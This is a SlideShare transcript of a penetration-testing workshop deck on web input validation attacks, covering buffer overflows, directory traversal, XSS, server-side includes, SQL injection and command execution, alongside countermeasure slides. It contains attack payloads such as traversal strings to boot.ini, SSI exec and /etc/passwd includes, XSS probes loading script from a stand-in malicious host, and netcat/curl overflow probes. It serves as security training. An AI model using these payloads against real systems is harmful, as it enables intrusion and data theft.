SlideShare a Scribd company logo
1 of 27
Download to read offline
INPUT VALIDATION
Mohsen ahmadi
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
INPUTVALIDATION ATTACKS
 submit data which the application does not expect to receive
 Sanity check?
 tries to ensure that the data is useful
 Validation routines?
 Length check
 Content check
 Checksum
 How to figure out all of validation checks in an application?
 How to do all of validation checks in an application?
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
CLIENT-SIDEVS. SERVER-SIDE
 Why JavaScript?
 simple to implement
 widely supported betweenWeb browsers
 move a lot of processing from theWeb server to the end-user’s system
 Defeats?
 What if disable JavaScript?
 Using proxy on local
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
INPUTVALIDATIONTYPES
 Unexpected Input
 SQL formatting characters
 cross-site scripting attacks
 Characters produce informational errors
 Command Execution Characters
 Insert Boolean operations, semicolon
 SQL statements
 Insert JavaScript
 Buffer overflows
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
EFFECTS
 Generating Informational Error
 SQL errors reveals table, column names
 Directory path disclosure
 ObtainingArbitrary DataAccess
 Enumerating, creating, deleting users with anonymous
 ObtainingArbitrary Command Execution
 SQL injection attacks
 System commands like listing directories, coping files
 Cross-Site or Embedded Scripting
 Target users than web server, application
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
FIND POTENTIALTARGETS
 Every GET, POST request is fodder for input validation attacks
 What is attack vector?
 Altering arguments from FORM request, application itself
 Most prone to attack input fields?
 Login Name, Password,Address, Phone Number, Credit Card Number, and Search
 Every variable in the GET or POST request can be attacked
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
BYPASSING CLIENT-SIDEVALIDATION
 Why using JavaScript?
 Put dynamic content to pages
 Input validation
 Bypass JavaScript using:
 Local proxy likeAchilles, Paros, burp suite
 Firewall
 Pop-up blocker add-ons
 Cookie manager
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
COMMON INPUTVALIDATION ATTACKS
 Buffer Overflow
 Canonicalization
 Putting the Dot toWork
 NavigatingWithout Directory Listings
 Script attacks
 Cross-Site Scripting (XSS)
 Embedded Sripts
 Cookies and Predefined Headers
 Boundary Checking
 Manipulating theApplication
 Search Engines
 SQL Injection and Datastore Attacks
 Command Execution
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
BUFFER OVERFLOW
 Create payload for attack:
 Perl –e ‘print “a” x 50’
 Use Perl, netcat
 wrap the Perl line in back ticks and replace the argument
 echo –e "GET /login.php?user=`perl –e 'print "a" x 500'`nHTTP/1.0nn" | nc –vv
www.victim.com 80
 For HTTPS
 curl https://www.victim.com/login.php?user=`perl –e 'print "a" x 500'`
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
NTOMAX
 Script Format
 host:192.168.0.1,22,100,500,4000,250,0,2,true,true,true,false
 lc:GET /login.php?user=* HTTP/1.0
 Host: IP, port, min, max, timeout, delay, pause, retnum, reopen, norecv, verbose, trial
 Loop command: each instance of an asterisk replaces with a string of 400*‘N’
 ntomax /s < script.txt > results.txt
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
DEEP ANALYSIS OF FEATURES
 Additional host parameters:
 timeout - ms to wait for socket response - default = 0
 delay - ms to wait before sending commands - default = 250
 pause - ms to wait before receiving - default = 0
 retnum - number of LF/CR's to end buffer - default is one
 reopen -T/F reopen connection before each command
 norecv -T/F no receive after initial connect - default is off
 verbose -T/F verbose output - off by default
 trial -T/F display buffer w/o sending
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
CANONICALIZATION (DOT-DOT-SLASH)
 Attack vector:
 access system files outside of theWeb document root
 When attack happen?
 Parse file from server
 Using template files
 How escape document root directory?
 ../../../../../../../../../boot.ini
 salvation?
 limit the types of files that it is supposed to view
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
PUTTINGTHE DOTTO WORK
 Suppose an application is parsing file contents
 what happens if we rename the file to something that we know does not exist?
 full installation path of the application used in directory traversal attacks
 Null byte character
 /servlet/webacc?user.html=gor-gor
 File does not exist: c:Novelljavaservletscomnovellwebaccesstemplates/gor-
gor/login.htt
 /servlet/webacc?user.html=../../../../../../../boot.ini%00
 %00 ~ URL encoded null byte character
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
NAVIGATINGWITHOUT DIRECTORY LISTINGS
 explore the terrain without a map!
 The first step is to find out where the actual directory root begins
 enumerating files on IIS
 By default;Topmost directory is inetpub
 Adding directory traversal to /inetpub/wwwroot/default.asp
 ../../../../../../../../../../??
 Find other directories on server by failure and success
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
STEPSTO ENUMERATING
 Examine error codes: 404/ 403
 Find the root: drive letter, root
 Move down theWeb document root
 Find common directories: /tmp, /temp, /backups, /downloads
 Try to access directory names: use listed directory contents
 For improving success in directory traversal attacks you should know about
configurations, directories
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
COUNTERMEASURES & MITIGATIONS
 Remove all dots from user-input, parameters
 Catch other representations of dots (0x2e) from parser engine
 Remove path information using regular expression
 Secure file system permissions, ACL
 Limit server access to file, folders behind web root directory
 Place configuration files behind document root directory
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
SCRIPT ATTACKS
 include any HTML-formatted strings to an application that subsequently renders
those tags
1. User entering <script> tags into a form field
2. user-submitted contents of that field are redisplayed
3. Interpreting tag as JavaScript directive rather than literal value
Two prerequisites:
the application must accept user input
the application must redisplay the user input
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
COUNTERMEASURE
 Handling angle brackets using HTML encoded values
 User searches for <i>test</i> in search bar
 At vulnerable scenario:
 <b><i>test</i></b>
 At secure scenario:
 <b>&lt;i&gt;test&lt;/i&gt;</b>
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
XSS (CROSS SITE SCRIPTING)
 place malicious code, usually JavaScript, in locations where other users see it
 Common scenarios:
Steals cookies: allow the attacker to impersonate the victim
social engineering attack: trick the victim into divulging his or her password
 Test for XSS:
 <script>document.write(document.cookie)</script>
 <script>alert('Salut!')</script>
 <script src="http://www.malicious-host.foo/badscript.js"></script>
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
EMBEDDED SCRIPTS
 Server-side scripts target application itself rather users
 Types of embedded scripting attacks:
 SSI directives
 PHP, ASP brackets
 SQL queries
 Affects of attacks:
 <%= date() %>
 <!—include virtual=“global.asa” 
 <!—include file=“/etc/passwd” 
 <!—exec cmd=“/sbin/ifconfig -a” 
 <% java.util.date today=new java.util.date(); out.println(today); %>
 <? Include ‘/etc/p/asswd’ ?>
 <? Passthru(“id”); ?>
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
COUNTERMEASURE
 turn all angle brackets into their HTML-encoded equivalents
 < ~ &lt;
 > ~ &gt;
 &lt;script&gt;
 Limit input fields to the minimum possible
 Inclusive regular expression than exclusive
 <scrscriptipt>: bypass for replacing with null regex
 <scr%69pt>
 <ScRiPt>
 <a href=“javascript:code”></a>
 Check for presence of a positive is better rather than absence of a negatives
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
BOUNDARY CHECKING
 Generate informational errors by swapping out the boundaries
 errors they generate can reveal useful information about the application or the
server; but you can’t get command execution
 Checklist for vulnerability:
 Boolean
 String
 Numeric
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
MANIPULATINGTHE APPLICATION
 Special directives
 Debug=1: reveals more informational errors about back-end DBMS
 %3f.jsp: directory listing in apache tomcat 3.2.x, Jrun
 ?openDocument ~ ?editDocument: Lotus domino servers
 Htsearch CGI: -c command-line argument reading configuration file
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
SQL INJECTION AND DATA STORE ATTACKS
 Or+1=1
 Single quote, tick mark, apostrophes
 Error might you see during injection test:
 You have an error in your SQL syntax
 many SQL injection tests will reveal errors in files that do not access databases
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
COMMAND EXECUTION
 Run arbitrary commands on server
 Types of bypassing execution flow on shell
 %0a ~ new line character: analyze.sh?%0a/bin/ls%0a
 Check for arbitrary variables can passed to server: analyze.sh?-h
 %7c ~ pipe: chain UNIX commands on shell
 %3b ~ semicolon: separate commands on single command line
 %26 ~ ampersand: delimiter for arguments on the URL
 Know your environment in command execution attacks
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
COUNTERMEASURES
 Server-Side InputValidation
 Character Encoding
 Regular Expressions
 Strong DataTyping
 Proper Error Handling
 Require Authentication
 Use Least-Privilege Access
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
TOPVECTORS FOR INPUTVALIDATION
 Each argument of a GET request
 Each argument of a POST request
 Forms (e-mail address, home address, name, comments)
 Search fields
 Cookie values
 Browser environment values (User agent, IP address, Operating System, etc.)
Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015

More Related Content

What's hot

Mock Server Using WireMock
Mock Server Using WireMockMock Server Using WireMock
Mock Server Using WireMockGlobant
 
Asynchronous reading and writing http r equest
Asynchronous reading and writing http r equestAsynchronous reading and writing http r equest
Asynchronous reading and writing http r equestPragyanshis Patnaik
 
10 performance and scalability secrets of ASP.NET websites
10 performance and scalability secrets of ASP.NET websites10 performance and scalability secrets of ASP.NET websites
10 performance and scalability secrets of ASP.NET websitesoazabir
 
QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"
QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"
QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"GeeksLab Odessa
 
Keyword Driven Testing
Keyword Driven TestingKeyword Driven Testing
Keyword Driven Testinganandarajta
 
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult CasesPositive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult CasesPositive Hack Days
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionBlueinfy Solutions
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks Ahmed Sherif
 
API Testing. Streamline your testing process.
API Testing. Streamline your testing process.API Testing. Streamline your testing process.
API Testing. Streamline your testing process.Andrey Oleynik
 
EE0-515 Exam Questions
EE0-515 Exam QuestionsEE0-515 Exam Questions
EE0-515 Exam Questionsadbil98
 
Rest api design by george reese
Rest api design by george reeseRest api design by george reese
Rest api design by george reesebuildacloud
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SASTBlueinfy Solutions
 
Pentesting RESTful webservices
Pentesting RESTful webservicesPentesting RESTful webservices
Pentesting RESTful webservicesMohammed A. Imran
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
C sharp and asp.net interview questions
C sharp and asp.net interview questionsC sharp and asp.net interview questions
C sharp and asp.net interview questionsAkhil Mittal
 
Online Bank Hack
Online Bank HackOnline Bank Hack
Online Bank HackCaleb Sima
 
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)Sam Bowne
 
Mobile Device APIs
Mobile Device APIsMobile Device APIs
Mobile Device APIsJames Pearce
 

What's hot (20)

Deep dive into SoapUI
Deep dive into SoapUIDeep dive into SoapUI
Deep dive into SoapUI
 
Mock Server Using WireMock
Mock Server Using WireMockMock Server Using WireMock
Mock Server Using WireMock
 
Asynchronous reading and writing http r equest
Asynchronous reading and writing http r equestAsynchronous reading and writing http r equest
Asynchronous reading and writing http r equest
 
10 performance and scalability secrets of ASP.NET websites
10 performance and scalability secrets of ASP.NET websites10 performance and scalability secrets of ASP.NET websites
10 performance and scalability secrets of ASP.NET websites
 
QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"
QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"
QA Lab: тестирование ПО. Владимир Гарбуз: "Application Security 101"
 
Keyword Driven Testing
Keyword Driven TestingKeyword Driven Testing
Keyword Driven Testing
 
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult CasesPositive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
 
Learn SoapUI
Learn SoapUILearn SoapUI
Learn SoapUI
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal Injection
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks
 
API Testing. Streamline your testing process.
API Testing. Streamline your testing process.API Testing. Streamline your testing process.
API Testing. Streamline your testing process.
 
EE0-515 Exam Questions
EE0-515 Exam QuestionsEE0-515 Exam Questions
EE0-515 Exam Questions
 
Rest api design by george reese
Rest api design by george reeseRest api design by george reese
Rest api design by george reese
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SAST
 
Pentesting RESTful webservices
Pentesting RESTful webservicesPentesting RESTful webservices
Pentesting RESTful webservices
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
C sharp and asp.net interview questions
C sharp and asp.net interview questionsC sharp and asp.net interview questions
C sharp and asp.net interview questions
 
Online Bank Hack
Online Bank HackOnline Bank Hack
Online Bank Hack
 
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
 
Mobile Device APIs
Mobile Device APIsMobile Device APIs
Mobile Device APIs
 

Similar to Input validation slides of web application workshop

Best Practices for API Design to Keep Your App Secure, Scalable & Efficient
Best Practices for API Design to Keep Your App Secure, Scalable & EfficientBest Practices for API Design to Keep Your App Secure, Scalable & Efficient
Best Practices for API Design to Keep Your App Secure, Scalable & EfficientNordic APIs
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Антон Бойко "Azure Web Apps deep dive"
Антон Бойко "Azure Web Apps deep dive"Антон Бойко "Azure Web Apps deep dive"
Антон Бойко "Azure Web Apps deep dive"Fwdays
 
Understanding Identity in the World of Web APIs – Ronnie Mitra, API Architec...
Understanding Identity in the World of Web APIs – Ronnie Mitra,  API Architec...Understanding Identity in the World of Web APIs – Ronnie Mitra,  API Architec...
Understanding Identity in the World of Web APIs – Ronnie Mitra, API Architec...CA API Management
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Hackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platformHackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platformIhor Uzhvenko
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Web Vulnerabilities_NGAN Seok Chern
Web Vulnerabilities_NGAN Seok ChernWeb Vulnerabilities_NGAN Seok Chern
Web Vulnerabilities_NGAN Seok ChernQuek Lilian
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxjohnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxazida3
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxnmk42194
 
Chapter5-Bypass-ClientSide-Control-Presentation.pptx
Chapter5-Bypass-ClientSide-Control-Presentation.pptxChapter5-Bypass-ClientSide-Control-Presentation.pptx
Chapter5-Bypass-ClientSide-Control-Presentation.pptxilhamilyas5
 
Web Server Technologies II: Web Applications & Server Maintenance
Web Server Technologies II: Web Applications & Server MaintenanceWeb Server Technologies II: Web Applications & Server Maintenance
Web Server Technologies II: Web Applications & Server MaintenancePort80 Software
 
Pentesting With Web Services in 2012
Pentesting With Web Services in 2012Pentesting With Web Services in 2012
Pentesting With Web Services in 2012Ishan Girdhar
 

Similar to Input validation slides of web application workshop (20)

Best Practices for API Design to Keep Your App Secure, Scalable & Efficient
Best Practices for API Design to Keep Your App Secure, Scalable & EfficientBest Practices for API Design to Keep Your App Secure, Scalable & Efficient
Best Practices for API Design to Keep Your App Secure, Scalable & Efficient
 
Attques web
Attques webAttques web
Attques web
 
Cyber ppt
Cyber pptCyber ppt
Cyber ppt
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Getting Started with API Management
Getting Started with API ManagementGetting Started with API Management
Getting Started with API Management
 
Антон Бойко "Azure Web Apps deep dive"
Антон Бойко "Azure Web Apps deep dive"Антон Бойко "Azure Web Apps deep dive"
Антон Бойко "Azure Web Apps deep dive"
 
Understanding Identity in the World of Web APIs – Ronnie Mitra, API Architec...
Understanding Identity in the World of Web APIs – Ronnie Mitra,  API Architec...Understanding Identity in the World of Web APIs – Ronnie Mitra,  API Architec...
Understanding Identity in the World of Web APIs – Ronnie Mitra, API Architec...
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Hackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platformHackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platform
 
Preetham Paulose
Preetham PaulosePreetham Paulose
Preetham Paulose
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Web Vulnerabilities_NGAN Seok Chern
Web Vulnerabilities_NGAN Seok ChernWeb Vulnerabilities_NGAN Seok Chern
Web Vulnerabilities_NGAN Seok Chern
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
 
Chapter5-Bypass-ClientSide-Control-Presentation.pptx
Chapter5-Bypass-ClientSide-Control-Presentation.pptxChapter5-Bypass-ClientSide-Control-Presentation.pptx
Chapter5-Bypass-ClientSide-Control-Presentation.pptx
 
Web Server Technologies II: Web Applications & Server Maintenance
Web Server Technologies II: Web Applications & Server MaintenanceWeb Server Technologies II: Web Applications & Server Maintenance
Web Server Technologies II: Web Applications & Server Maintenance
 
Pentesting With Web Services in 2012
Pentesting With Web Services in 2012Pentesting With Web Services in 2012
Pentesting With Web Services in 2012
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 

Recently uploaded

"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 

Recently uploaded (20)

"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 

Input validation slides of web application workshop

  • 1. INPUT VALIDATION Mohsen ahmadi Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 2. INPUTVALIDATION ATTACKS  submit data which the application does not expect to receive  Sanity check?  tries to ensure that the data is useful  Validation routines?  Length check  Content check  Checksum  How to figure out all of validation checks in an application?  How to do all of validation checks in an application? Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 3. CLIENT-SIDEVS. SERVER-SIDE  Why JavaScript?  simple to implement  widely supported betweenWeb browsers  move a lot of processing from theWeb server to the end-user’s system  Defeats?  What if disable JavaScript?  Using proxy on local Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 4. INPUTVALIDATIONTYPES  Unexpected Input  SQL formatting characters  cross-site scripting attacks  Characters produce informational errors  Command Execution Characters  Insert Boolean operations, semicolon  SQL statements  Insert JavaScript  Buffer overflows Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 5. EFFECTS  Generating Informational Error  SQL errors reveals table, column names  Directory path disclosure  ObtainingArbitrary DataAccess  Enumerating, creating, deleting users with anonymous  ObtainingArbitrary Command Execution  SQL injection attacks  System commands like listing directories, coping files  Cross-Site or Embedded Scripting  Target users than web server, application Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 6. FIND POTENTIALTARGETS  Every GET, POST request is fodder for input validation attacks  What is attack vector?  Altering arguments from FORM request, application itself  Most prone to attack input fields?  Login Name, Password,Address, Phone Number, Credit Card Number, and Search  Every variable in the GET or POST request can be attacked Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 7. BYPASSING CLIENT-SIDEVALIDATION  Why using JavaScript?  Put dynamic content to pages  Input validation  Bypass JavaScript using:  Local proxy likeAchilles, Paros, burp suite  Firewall  Pop-up blocker add-ons  Cookie manager Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
